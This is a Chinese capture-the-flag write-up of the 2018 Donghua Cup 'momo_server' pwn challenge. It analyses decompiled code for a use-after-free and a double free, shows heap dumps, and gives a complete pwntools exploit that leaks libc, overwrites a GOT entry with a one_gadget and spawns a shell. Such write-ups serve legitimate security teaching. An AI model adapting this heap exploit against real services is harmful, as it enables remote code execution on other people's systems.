2018东华杯-momo_server
2018.11.27
V1NKe
 热度
℃
前言: 比赛的时候看了一天的arm,照样是没有解出来。。没有遇到过mprotect这种操作。赛后花时间复现了一下很少人做出来的momo_server,大佬们还是强呀。
正文: 这道题在分析程序执行流程上面就有一定的难度,要对http
协议有一定的了解程度才能很快的分析完执行流程。先来看看整个程序的执行流程:
前半段:
1 2 3 4 5 6 7 8 9 10 v7 = 1; memset(&v6, 0, 0x10000uLL); v9 = read(0, s, v8 - 1); if ( v9 >= 0 ) { *((_BYTE *)s + v9) = 0; __isoc99_sscanf(s, "%s %s %s \n", &s1, &v15, &v14); if ( !strstr((const char *)s, "Connection: keep-alive") ) v7 = 0; v12 = sub_40176B((const char *)s);
__isoc99_sscanf
类似于正则表达式,具体的可以自行去看函数定义,在这里的作用是用空格做分隔符,将输入的字符串切割后分别赋值给s1
、v15
、v14
。strstr
是查询子字符串,所以这里的作用是如果在输入中查不到Connection: keep-alive
字符串,则v7
变为0,程序最后会直接退出。所以为了让程序一直运行不退出,输入必须带有Connection: keep-alive
字符串。
再来看看程序功能:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 if ( !strcmp(&s1, "GET") ) { if ( !strcmp(&v15, "/") ) { sub_400E67(); } else if ( !strcmp(&v15, "/list") ) { sub_400E82(); } else { sub_400E4C(); } }
如果s1
,v15
分别为GET
,/
则执行sub_400E67()
。该函数具体没什么用,往下是sub_400E82()
函数,这个函数先放着,看名字list
可以大致猜测到是“显示堆”功能的函数。再往下sub_400E4C()
函数也没什么用。所以想要调用/list
函数可以这样构造输入:
GET /list Connection: keep-alive
往下看:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 else if ( !strcmp(&s1, "POST") ) { if ( !strcmp(&v15, "/add") ) { sub_4011EE(v12); } else if ( !strcmp(&v15, "/count") ) { sub_4016A8(); } else if ( !strcmp(&v15, "/echo") ) { sub_4010CB(v12, (__int64)"/echo", v3, v4, v5); } else { sub_400E4C(); } }
原理如上,这里需要提上一嘴的是第一个函数中传入了v12
参数,往上看可以发现v12
由sub_40176B()
得来:
1 2 3 4 5 6 7 8 9 10 11 12 char *__fastcall sub_40176B(const char *a1) { char *v2; // [rsp+18h] [rbp-8h] if ( strstr(a1, "\r\n\r\n") ) return strstr(a1, "\r\n\r\n") + 4; if ( strstr(a1, "\n\n") ) return strstr(a1, "\n\n") + 2; if ( strstr(a1, "\r\r") ) v2 = strstr(a1, "\r\r") + 2; return v2; }
查询子字符,如果有以上三种中的一种则返回其中一种字符串的后面内容,比如我输入了v1nke1\r\n\r\nv1nke2
,则返回v1nke2
字符。
进入/add
函数中分析:
1 2 3 4 if ( (unsigned int)__isoc99_sscanf(v1, "%10[^=]=%80s", &s, &s2, v2) && (v3 = strtok(0LL, "&"), (unsigned int)__isoc99_sscanf(v3, "%10[^=]=%10s", &s1, &nptr, v4)) ) { if ( !strcmp(&s, "memo") && s2 && (v5 = "count", !strcmp(&s1, "count")) && nptr && atoi(&nptr) >= 0 )
这段对传入参数v12
做处理,先用&
做分隔符分成两段字符串,前一段中取=
前面部分赋值给s
,=
后面赋值给s2
。后一段取=
前给s1
,=
后给nptr
。
后面的if
语句是要求s
为memo
,s1
为count
。且nptr
为数字且大于0。
往后:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 for ( i = 0; i <= 15 && *(&ptr + i); ++i ) { if ( *(_QWORD *)*(&ptr + i) ) { v5 = &s2; if ( !strcmp(*(const char **)*(&ptr + i), &s2) ) { v6 = (__int64)*(&ptr + i); *(_DWORD *)(v6 + 8) = atoi(&nptr); *((_WORD *)*(&ptr + i) + 6) = 0; sprintf(&v19, "{\"status\":\"%s\"}", "ok"); pprint((__int64)"HTTP/1.1 200 OK", (__int64)"application/json", &v19); return __readfsqword(0x28u) ^ v20; } } }
这段函数引起double free
漏洞。后面可以充分体会到。
1 2 3 4 5 6 7 8 9 10 11 12 v7 = (char **)malloc(0x10uLL); v8 = strlen(&s2); v9 = (char *)malloc(v8); *v7 = v9; sub_400D84(&s2, (__int64)v5, (__int64)v9, v10, v11); v12 = strlen(&s2); strncpy(*v7, &s2, v12 + 1); *((_DWORD *)v7 + 2) = atoi(&nptr); *((_WORD *)v7 + 6) = 0; *(&ptr + i) = v7; sprintf(&v19, "{\"status\":\"%s\"}", "ok"); pprint((__int64)"HTTP/1.1 200 OK", (__int64)"application/json", &v19);
这里可以看到该函数先分配0x20
的堆结构体,然后根据memo=
后边的内容大小分配合适的堆。再将count=
后面的数字赋值到堆结构体中去,并在六字节处置0。最后&ptr
位于bss段,将堆结构体指针赋值到bss段中。这里再往回看/list
中的内容,就明白了其具体内容就是显示分配堆中的内容。
往下看第二个函数:
1 2 3 4 if ( pthread_create(&newthread, 0LL, (void *(*)(void *))start_routine, 0LL) ) { sub_401041((__int64)"failed"); }
开了一个多线程函数,进入到start_routine
函数中去:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 do { v2 = 0; for ( i = 0; i <= 15; ++i ) { if ( *(&ptr + i) ) { if ( *((_DWORD *)*(&ptr + i) + 2) <= 0 ) { if ( !*((_DWORD *)*(&ptr + i) + 2) && *((_WORD *)*(&ptr + i) + 6) ) { *((_WORD *)*(&ptr + i) + 6) = 0; free(*(void **)*(&ptr + i)); } } else { --*((_DWORD *)*(&ptr + i) + 2); *((_WORD *)*(&ptr + i) + 6) = 1; ++v2; } } } result = sleep(1u); } while ( v2 );
遍历15个堆结构,根据所赋值的count=
后的数字是否小于等于0,否则减一,再将第六位赋值为1,是则第六位置零,并free
堆,这里存在UAF
漏洞,没有清空指针。
后面的echo
函数没有用,但是官方给出的writeup说是echo函数中没有00截断字符串,会泄漏地址。但是我实际调试当中发现是有00截断的,没办法泄漏地址,只是一个你输入了什么原样输出的一个函数而已。。
利用构造: 这里就用double free
来利用,先添加四个0x20的堆和五个0x40的堆,除最后一个0x40的堆外别的堆count置为1。而后free掉八组堆,成为fastbin。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 0x12b5000: 0x0000000000000000 0x0000000000000021 < -- 1 0x12b5010: 0x00000000012b5030 0x0000000000000000 0x12b5020: 0x0000000000000000 0x0000000000000021 0x12b5030: 0x0000000000000000 0x0000000000000000 0x12b5040: 0x0000000000000000 0x0000000000000021 < -- 2 0x12b5050: 0x00000000012b5070 0x0000000000000000 0x12b5060: 0x0000000000000000 0x0000000000000021 0x12b5070: 0x00000000012b5020 0x0000000000000000 0x12b5080: 0x0000000000000000 0x0000000000000021 < -- 3 0x12b5090: 0x00000000012b50b0 0x0000000000000000 0x12b50a0: 0x0000000000000000 0x0000000000000021 0x12b50b0: 0x00000000012b5060 0x0000000000000000 0x12b50c0: 0x0000000000000000 0x0000000000000021 < -- 4 0x12b50d0: 0x00000000012b50f0 0x0000000000000000 0x12b50e0: 0x0000000000000000 0x0000000000000021 0x12b50f0: 0x00000000012b50a0 0x0000000000000000
然后/list
一下,泄漏出堆基地址。
这里再add
一个新堆,但是堆内容跟之前所分配堆中的某个堆内容一样。这样的话就会执行add
函数中的导致double free
的地方,此时并不malloc
新堆,而是将内容重复堆的结构体堆count
处内容置为我们刚刚add
的count
内容,导致这个堆本已经free
过了但是还能再次free
。这里我们选择重置第三个堆,也就是要add
一个memo=0x12b5060
的堆(根据以上堆情况得出的值)。再来看看堆情况:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 0xd9b000: 0x0000000000000000 0x0000000000000021 0xd9b010: 0x0000000000d9b030 0x0000000000000000 0xd9b020: 0x0000000000000000 0x0000000000000021 0xd9b030: 0x0000000000000000 0x0000000000000000 0xd9b040: 0x0000000000000000 0x0000000000000021 0xd9b050: 0x0000000000d9b070 0x0000000000000000 0xd9b060: 0x0000000000000000 0x0000000000000021 0xd9b070: 0x0000000000d9b020 0x0000000000000000 0xd9b080: 0x0000000000000000 0x0000000000000021 0xd9b090: 0x0000000000d9b0b0 0x0000000000000001 < -- 置为1 0xd9b0a0: 0x0000000000000000 0x0000000000000021 0xd9b0b0: 0x0000000000d9b060 0x0000000000000000 0xd9b0c0: 0x0000000000000000 0x0000000000000021 0xd9b0d0: 0x0000000000d9b0f0 0x0000000000000000 0xd9b0e0: 0x0000000000000000 0x0000000000000021 0xd9b0f0: 0x0000000000d9b0a0 0x0000000000000000
free
掉后再看看fastbin
中的情况(堆变化是因为不是同一次复制数据,看偏移即可):
1 2 3 4 5 6 7 8 fastbins 0x20: 0x15f00a0 —▸ 0x15f00e0 ◂— 0x15f00a0 0x30: 0x0 0x40: 0x15f0240 —▸ 0x15f01e0 —▸ 0x15f0180 —▸ 0x15f0120 ◂— 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0
这时候就可以充分利用double free
的情况了,再add
一个堆,并构造出一个fake heap
。
add(‘aaaaaaaa\x21’,1)
看堆情况:
1 2 3 4 5 6 7 8 9 10 0x1299080: 0x0000000000000000 0x0000000000000021 0x1299090: 0x00000000012990b0 0x0000000000000000 0x12990a0: 0x0000000000000000 0x0000000000000021 0x12990b0: 0x00000000012990f0 0x0000000000000001 0x12990c0: 0x0000000000000000 0x0000000000000021 0x12990d0: 0x00000000012990f0 0x0000000000000000 0x12990e0: 0x0000000000000000 0x0000000000000021 0x12990f0: 0x6161616161616161 0x0000000000000021 fastbins 0x20: 0x12990a0 —▸ 0x12990f0
这时候第二个fastbin
为0x12990f0,所以memo=
的内容就会被分配在0x1299100处,而0x1299100处恰好是一个之前所分配的堆,所以可以用这点来泄漏libc地址了。继续add
一个:
add(‘b’8+’\x21’ 8+p64(elf.got[‘atoi’]).replace(‘\x00’,’’),12345)
堆情况:
1 2 3 4 5 6 7 8 0x1bcf0c0: 0x0000000000000000 0x0000000000000021 < -- 4 0x1bcf0d0: 0x0000000001bcf0f0 0x0000000000000000 0x1bcf0e0: 0x0000000000000000 0x0000000000000021 0x1bcf0f0: 0x6161616161616161 0x0000000000000021 0x1bcf100: 0x6262626262626262 0x2121212121212121 < -- 5 0x1bcf110: 0x00000000006030a0 0x0000000000000000 0x1bcf120: 0x0000000000000000 0x0000000000000041 0x1bcf130: 0x0000000000000000 0x4545454545454545
而后的利用方式就是常规操作修改got表了,利用方法也同上double free
。不过第四次malloc
到程序got表的地址处。这里我本想fastbin
到__malloc_hook
的地址处,但是这里需要堆大小为0x70,add
中最大内容大小是0x50:
memset(&s2, 0, 0x50uLL);
所以这里行不通,只能在got表地址处找一处错位地址:
1 2 3 4 5 pwndbg> x/20xg 0x60306a 0x60306a: 0x0ac600007f08c728 0x1130000000000040 0x60307a: 0x8ad000007f08c727 0xce7000007f08c725 0x60308a: 0x0b0600007f08c725 0xb660000000000040 0x60309a: 0x3e8000007f08c727 0x294000007f08c722
刚好有一处0x40大小的可构造堆,且__isoc99_sscanf
处于0x603080
地址处可覆写。
大家复现后会发现这里有一处想不到的地方(反正我是想不到),就是要构造0x30大小的memo
内容的时候,该如何既让堆fd
指针处是我们所要构造的0x60306a,又要让0x30内容被填充满且中间还不能输入00字符串?(该程序如果memo=后的内容有00字符串则会崩溃,但是要构造0x60306a地址内容就必须有5个00字符串)
这里看了别人的wp后发现他们是这样构造的:
1 add(urllib.quote(flat(0x60306a).ljust(0x30, 'A')),1234)
实际调试发现:
1 2 3 4 0x1f151e0: 0x0000000000000000 0x0000000000000041 0x1f151f0: 0x000000000060306a 0x4747474747474747 0x1f15200: 0x4747474747474747 0x4747474747474747 0x1f15210: 0x4747474747474747 0x4747474747474747
确实能写入,并且后面的内容不变为’A’。我查了一下这个quote函数不过是个url
编码函数,为什么还能有这种效果。。如果有人清楚原理请告诉我一下。。
还有这里需要注意的一个点是在free
堆的时候因为程序是开了多线程的,所以需要有一定的延时,不然会导致没有运行完整个count
函数代码就进入下一个环节,会导致没有free
掉堆的情况。
EXP: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 from pwn import * import urllib p = process('./pwn') libc = ELF('libc-so.6') elf = ELF('pwn') context.log_level = 'debug' def add(content,index): s = 'POST '+'/add '+'Connection: keep-alive' s += '\n\n'+'memo='+content+'&count='+str(index) p.sendline(s) def count(): s = 'POST '+'/count '+'Connection: keep-alive' p.sendline(s) def listlist(): s = 'GET '+'/list '+'Connection: keep-alive' p.sendline(s) add('A'*8,1) add('B'*8,1) add('C'*8,1) add('D'*8,1) add('E'*0x30,1) add('F'*0x30,1) add('G'*0x30,1) add('H'*0x30,1) add('F'*24,123456) sleep(1) count() sleep(2) listlist() p.recvuntil('0</td>') p.recvuntil('<td>') data = p.recvuntil('<') data = data[:-1] data = u64(data.ljust(8,'\x00')) heap_base = data - 0x20 log.success('heap addr is:'+hex(heap_base)) sleep(1) add(p64(heap_base+0x60).replace('\x00',''),1) count() sleep(2) add('aaaaaaaa\x21',1) add('b'*8+'\x21'*8+p64(elf.got['atoi']).replace('\x00',''),12345) listlist() p.recvuntil('aaaaaaaa!</td><td>0</td></tr><tr><td>') data2 = u64(p.recv(6).ljust(8,'\x00')) atoi_addr = data2 libc_base = atoi_addr - libc.symbols['atoi'] one_gadget = libc_base + 0x45216 log.success('atoi addr is:'+hex(atoi_addr)) log.success('onegadget addr is:'+hex(one_gadget)) add(p64(heap_base+0x180).replace('\x00',''),1) count() sleep(2) add(urllib.quote(flat(0x60306a).ljust(0x30, 'A')),1234) add(urllib.quote(flat(0x60306a).ljust(0x30, 'A')),1234) add(urllib.quote(flat(0x60306a).ljust(0x30, 'A')),1234) add('A'*6+urllib.quote(flat(p64(one_gadget)).ljust(0x30-14, 'A')),1234) sleep(0.1) p.sendline('V1NKe is a stupid boy!') p.interactive()
最后: 本人的exp写的较为粗糙,在泄漏heap基地址的时候因为对正则了解较少,所以有时候会出现没有正确计算出heap基地址的情况,解决方法是多试几次即可,或者自行修改成正则匹配。